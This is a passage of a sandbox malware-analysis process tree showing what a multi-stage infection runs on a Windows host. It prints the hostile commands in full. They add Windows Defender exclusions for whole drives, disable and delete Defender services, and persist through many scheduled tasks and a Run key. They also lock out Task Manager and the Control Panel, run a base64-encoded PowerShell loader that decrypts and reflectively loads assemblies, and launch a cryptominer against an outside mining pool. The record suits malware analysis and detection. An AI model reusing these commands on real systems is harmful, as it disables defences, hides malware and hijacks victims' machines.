- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3304

C:\Users\Admin\AppData\Local\Temp\BBLb.exe
C:\Users\Admin\AppData\Local\Temp\BBLb.exe
4⤵
- Executes dropped EXE
PID:5080

C:\Users\Admin\AppData\Local\Temp\BBLb.exe
C:\Users\Admin\AppData\Local\Temp\BBLb.exe
4⤵
- Executes dropped EXE
PID:4248

C:\Users\Admin\AppData\Local\Temp\BBLb.exe
C:\Users\Admin\AppData\Local\Temp\BBLb.exe
4⤵
- Executes dropped EXE
PID:4760

C:\Users\Admin\AppData\Local\Temp\Files\native.exe
C:\Users\Admin\AppData\Local\Temp\Files\native.exe
3⤵
- Executes dropped EXE
PID:3764

C:\Users\Admin\AppData\Local\Temp\Files\_wT.exe
"C:\Users\Admin\AppData\Local\Temp\Files\_wT.exe"
2⤵
- Executes dropped EXE
PID:3280

C:\Windows\system32\cmd.exe
"cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\bat.bat
3⤵
PID:5084

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\bat.bat
4⤵
PID:4672

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
5⤵
PID:1816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:5000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2684

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
6⤵
PID:2480

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\bat')
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 80728' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:3788

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\strt.cmd"
6⤵
PID:2972

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\strt.cmd"
7⤵
PID:380

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
8⤵
PID:3280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
8⤵
- Blocklisted process makes network request
PID:4072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
9⤵
PID:3216

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
9⤵
PID:4088

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\strt')
9⤵
PID:3140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 80728' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
9⤵
PID:3444

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\strt.cmd';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24gcFlBSmEoJHNORFFLKXskbXpYYlU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JG16WGJVLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskbXpYYlUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRtelhiVS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUThwVWY3K2hyVHVmb1JYSUpwMHRqME1NV3llMld1WnJNK2xFSTdJc1YvST0nKTskbXpYYlUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUVVTbGNFdDNQMVYvbE1ucTJ6SnpHUT09Jyk7JGJ2eWxCPSRtelhiVS5DcmVhdGVEZWNyeXB0b3IoKTskZ1hwcFg9JGJ2eWxCLlRyYW5zZm9ybUZpbmFsQmxvY2soJHNORFFLLDAsJHNORFFLLkxlbmd0aCk7JGJ2eWxCLkRpc3Bvc2UoKTskbXpYYlUuRGlzcG9zZSgpOyRnWHBwWDt9ZnVuY3Rpb24gSUFGaUUoJHNORFFLKXskQWxKaVQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkc05EUUspOyRLbHFseD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JG5IU0l0PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJEFsSmlULFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbkhTSXQuQ29weVRvKCRLbHFseCk7JG5IU0l0LkRpc3Bvc2UoKTskQWxKaVQuRGlzcG9zZSgpOyRLbHFseC5EaXNwb3NlKCk7JEtscWx4LlRvQXJyYXkoKTt9JGhUdG9sPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskaEdyRW49SUFGaUUgKHBZQUphIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJGhUdG9sLCA1KS5TdWJzdHJpbmcoMikpKSk7JGxWQkxvPUlBRmlFIChwWUFKYSAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRoVHRvbCwgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kbFZCTG8pLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGhHckVuKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "
8⤵
PID:4648

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\bat.bat';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24gcFlBSmEoJHNORFFLKXskbXpYYlU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JG16WGJVLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskbXpYYlUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRtelhiVS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUThwVWY3K2hyVHVmb1JYSUpwMHRqME1NV3llMld1WnJNK2xFSTdJc1YvST0nKTskbXpYYlUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUVVTbGNFdDNQMVYvbE1ucTJ6SnpHUT09Jyk7JGJ2eWxCPSRtelhiVS5DcmVhdGVEZWNyeXB0b3IoKTskZ1hwcFg9JGJ2eWxCLlRyYW5zZm9ybUZpbmFsQmxvY2soJHNORFFLLDAsJHNORFFLLkxlbmd0aCk7JGJ2eWxCLkRpc3Bvc2UoKTskbXpYYlUuRGlzcG9zZSgpOyRnWHBwWDt9ZnVuY3Rpb24gSUFGaUUoJHNORFFLKXskQWxKaVQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkc05EUUspOyRLbHFseD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JG5IU0l0PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJEFsSmlULFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbkhTSXQuQ29weVRvKCRLbHFseCk7JG5IU0l0LkRpc3Bvc2UoKTskQWxKaVQuRGlzcG9zZSgpOyRLbHFseC5EaXNwb3NlKCk7JEtscWx4LlRvQXJyYXkoKTt9JGhUdG9sPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskaEdyRW49SUFGaUUgKHBZQUphIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJGhUdG9sLCA1KS5TdWJzdHJpbmcoMikpKSk7JGxWQkxvPUlBRmlFIChwWUFKYSAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRoVHRvbCwgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kbFZCTG8pLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGhHckVuKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "
5⤵
PID:884

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
4⤵
PID:4072

C:\Users\Admin\AppData\Local\Temp\Files\NSudo.exe
"C:\Users\Admin\AppData\Local\Temp\Files\NSudo.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2888

C:\Users\Admin\AppData\Local\Temp\Files\32.exe
"C:\Users\Admin\AppData\Local\Temp\Files\32.exe"
2⤵
- Executes dropped EXE
PID:4044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 272
3⤵
- Program crash
PID:1008

C:\Users\Admin\AppData\Local\Temp\Files\miner.exe
"C:\Users\Admin\AppData\Local\Temp\Files\miner.exe"
2⤵
- UAC bypass
- Checks computer location settings
- Executes dropped EXE
- Checks whether UAC is enabled
- System policy modification
PID:3284

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\miner.exe'; Add-MpPreference -ExclusionProcess 'miner'; Add-MpPreference -ExclusionPath 'C:\Users\Admin'"
3⤵
PID:3040

C:\Users\Admin\AppData\Local\Temp\Files\fund.exe
"C:\Users\Admin\AppData\Local\Temp\Files\fund.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
PID:6476

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\DriverHostCrtNet\jO3lbUgUCuGG0nAZHcS.vbe"
3⤵
- Checks computer location settings
PID:3960

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\DriverHostCrtNet\ELvGRxvU.bat" "
4⤵
PID:6420

C:\DriverHostCrtNet\comSvc.exe
"C:\DriverHostCrtNet\comSvc.exe"
5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
PID:4936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
6⤵
PID:6748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
6⤵
PID:4164

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
6⤵
PID:6952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
6⤵
PID:6752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
6⤵
PID:6968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
6⤵
PID:7100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
6⤵
PID:6940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
6⤵
PID:6960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
6⤵
PID:6208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/odt/'
6⤵
PID:5364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/DriverHostCrtNet/'
6⤵
PID:6800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
6⤵
PID:5912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
6⤵
PID:7056

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\iR4PpyYAmz.bat"
6⤵
PID:4444

C:\Users\Admin\AppData\Local\Temp\Files\bang_executor.exe
"C:\Users\Admin\AppData\Local\Temp\Files\bang_executor.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:5544

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\microsoft.bat" "
3⤵
PID:6264

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v bang_executor /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\RarSFX0\bang_executor.exe" /f
4⤵
- Adds Run key to start application
PID:6852

C:\Users\Admin\AppData\Local\Temp\RarSFX0\bang_executor.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\bang_executor.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:6868

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX1\bang.bat" "
5⤵
PID:1376

C:\Users\Admin\AppData\Local\Temp\RarSFX1\bang_executor.exe
bang_executor.exe
6⤵
- Executes dropped EXE
PID:6152

C:\Users\Admin\AppData\Local\Temp\RarSFX1\executer.exe
executer.exe
6⤵
- Checks computer location settings
- Executes dropped EXE
PID:4032

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /C echo Add-MpPreference -ExclusionPath "C:\" -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess "C:\*" -ErrorAction SilentlyContinue; Set-MpPreference -DisableArchiveScanning 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableIntrusionPreventionSystem 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableIOAVProtection 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableRemovableDriveScanning 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableScanningNetworkFiles 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableScriptScanning 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring 1 -ErrorAction SilentlyContinue; Set-MpPreference -LowThreatDefaultAction Allow -ErrorAction SilentlyContinue; Set-MpPreference -ModerateThreatDefaultAction Allow -ErrorAction SilentlyContinue; Set-MpPreference -HighThreatDefaultAction Allow -ErrorAction SilentlyContinue; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdNisSvc" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinDefend" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Sense" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdnisDrv" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\wdfilter" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\wdboot" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" -Name SpyNetReporting -Value 0; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" -Name SubmitSamplesConsent -Value 0; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name TamperProtection -Value 4; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1; Remove-Item -Recurse -Force -Path "C:\ProgramData\Windows\Windows Defender\"; Remove-Item -Recurse -Force -Path "C:\ProgramData\Windows\Windows Defender Advanced Threat Protection\"; Remove-Item -Recurse -Force -Path "C:\Windows\System32\drivers\wd\"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdNisSvc"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinDefend"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Sense"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdnisDrv"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\wdfilter"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\wdboot" > test.ps1
7⤵
PID:4416

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /C powershell.exe -ep bypass .\test.ps1;
7⤵
PID:5768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ep bypass .\test.ps1;
8⤵
PID:5196

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K instaling.bat
6⤵
PID:3920

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
7⤵
PID:6888

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispAppearancePage /t REG_DWORD /d 1 /f
7⤵
PID:6012

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K mgr.bat
6⤵
PID:4364

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
7⤵
PID:5596

C:\Windows\system32\mode.com
mode 65,10
1⤵
PID:3200

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e file.zip -p1979614625696244291525413362 -oextracted
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "bugaib" /sc MINUTE /mo 9 /tr "'C:\Program Files\Reference Assemblies\Microsoft\bugai.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "bugai" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\bugai.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "bugaib" /sc MINUTE /mo 8 /tr "'C:\Program Files\Reference Assemblies\Microsoft\bugai.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "vbcv" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\Downloads\vbc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "vbc" /sc ONLOGON /tr "'C:\Users\Admin\Downloads\vbc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "vbcv" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\Downloads\vbc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2200

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 10 /tr "'C:\Windows\DigitalLocker\en-US\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Windows\DigitalLocker\en-US\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 10 /tr "'C:\Windows\DigitalLocker\en-US\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\odt\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3100

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\odt\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\odt\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Windows\Downloaded Program Files\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\Downloaded Program Files\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3284

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\Windows\Downloaded Program Files\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhostDhcpw" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\AppData\Local\Temp\main\winhostDhcp.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhostDhcp" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\main\winhostDhcp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhostDhcpw" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\AppData\Local\Temp\main\winhostDhcp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4044 -ip 4044
1⤵
PID:2528

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABBAHQAdAByAGkAYgB1AHQAZQBTAHQAcgBpAG4AZwAuAGUAeABlADsA
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1144

C:\Users\Admin\AppData\Local\TypeId\uaryavp\AttributeString.exe
C:\Users\Admin\AppData\Local\TypeId\uaryavp\AttributeString.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1552

C:\Users\Admin\AppData\Local\TypeId\uaryavp\AttributeString.exe
C:\Users\Admin\AppData\Local\TypeId\uaryavp\AttributeString.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4956

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3736

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2624

C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:452

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
2⤵
PID:3284

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
3⤵
- Creates scheduled task(s)
PID:752

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
